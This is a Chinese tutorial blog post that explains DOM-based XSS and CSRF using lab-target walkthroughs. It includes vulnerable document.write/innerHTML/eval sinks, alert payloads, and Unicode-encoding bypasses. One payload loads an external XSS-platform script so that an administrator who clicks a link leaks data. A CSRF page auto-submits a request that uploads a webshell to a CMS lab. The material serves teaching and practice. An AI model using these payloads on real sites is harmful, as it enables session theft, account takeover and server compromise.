6-3 Dom Based XSS

举报
Gere 发表于 2022/12/31 08:24:26 2022/12/31
【摘要】 一、什么是Dom Based XSS​ DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程...


一、什么是Dom Based XSS

​ DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

image-20201023213901284

二、Dom Based XSS

每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

Document 对象属性

image-20201023213920459

image-20201023213935782

转码地址:http://tool.oschina.net/encode?type=3

document.lastModified 可用于查看是否为动态网页

JS触发的Xss就是Dom型xSS

Document.write()输出内容

<script>
    var pos=document.URL.indexOf("name=")+5;
    var username=unescape(document.URL.substring(pos,document.URL.length));
    var r=\'<b>\'+username+\'</b>\';
    document.write(r);
</script>

http://10.211.55.3/1.htmll?name=<script>alert(1)</script>

innerHTML()改变内容

<div id=\'zkaq\'>1</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
    function fun(){
        var url=unescape(document.URL);
        var pos=url.indexOf("name=")+5;
        document.getElementById("zkaq").innerHTML="Hi,<b>"+url.substring(pos,url.length)+"</b>";
    }
</script>

http://10.211.55.3/2.html?name=<img src=# onerror=alert(1)>

这里触发不能用script

iShot2020-10-24 00.24.55

eval()代码执行

</h1>Hello World</h1>
<script>
    var a=location.hash.substr(1);
    eval(a);
</script>

http://10.211.55.3/3.html#alert(1)

location.hashURL标识中的 \'#\' 和 后面URL片段标识符

三、DOM型XSS靶场演示

1.index.php/1.txt方法绕过

http://59.63.200.79:8014/dom_xss/?<script>alert(1)</script>

image-20201024004544441

http://59.63.200.79:8014/dom_xss/index.php/1.txt?<script>alert(1)</script>

image-20201024004655913

发现发现需要闭合前面的<script>

image-20201024004717671

前面加</script>就可以正成功弹窗

http://59.63.200.79:8014/dom_xss/index.php/1.txt?</script><script>alert(1)</script>

2.Native编码绕过

<script>alert(1)</script>转换成Native编码

http://59.63.200.79:8014/dom_xss?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

3.通过提交意见让管理员点击

</sCrIpT><sCRiPt sRC=//xs.sb/DEr5></sCrIpT>转换成Native编码

http://59.63.200.79:8014/dom_xss?\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0044\u0045\u0072\u0035\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

管理员访问就可以在XSS平台得到flag

6-4CSRF - 跨站请求伪造

一、什么是CSRF?

CSRF(Cross-site request forgery)跨站请求伪造:也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

其实说白了,
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)

image-20201028185102165

例如:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
  危险网站B,它里面有一段HTML的代码如下:
  <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
  首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
  为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

危害
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

如何预防CSRF
可以强行用验证码(强制用户必须和应用进行交互,但是体验性太差了)

请求中加随机Token值

什么是随机Token值(不同的表单包含一个不同的伪随机值)

那么XSS 偷Cookie
CSRF 利用Cookie浏览器会自动填充Cookie进访问的数据

二、CSRF靶场演示

http://59.63.200.79:8010/csrf/uploads/dede

admin

admin123登陆

上传一句话木马,并burp抓包

image-20201028141928470

抓到的包,生成CSRF的html代码

image-20201028145353569

默认生成的HTML需要点击能提交数据包,可以通过以下方式实现自动

<form id="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
  ······
</form>

<script>
  function validate(){
    document.getElementById(\'aa\').submit();
  }
  setTimeout(validate,100)
</script>
复制

当用户打开次HTML时就会http://59.63.200.79:8010/csrf/uploads发送请求上传1.php文件的请求

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。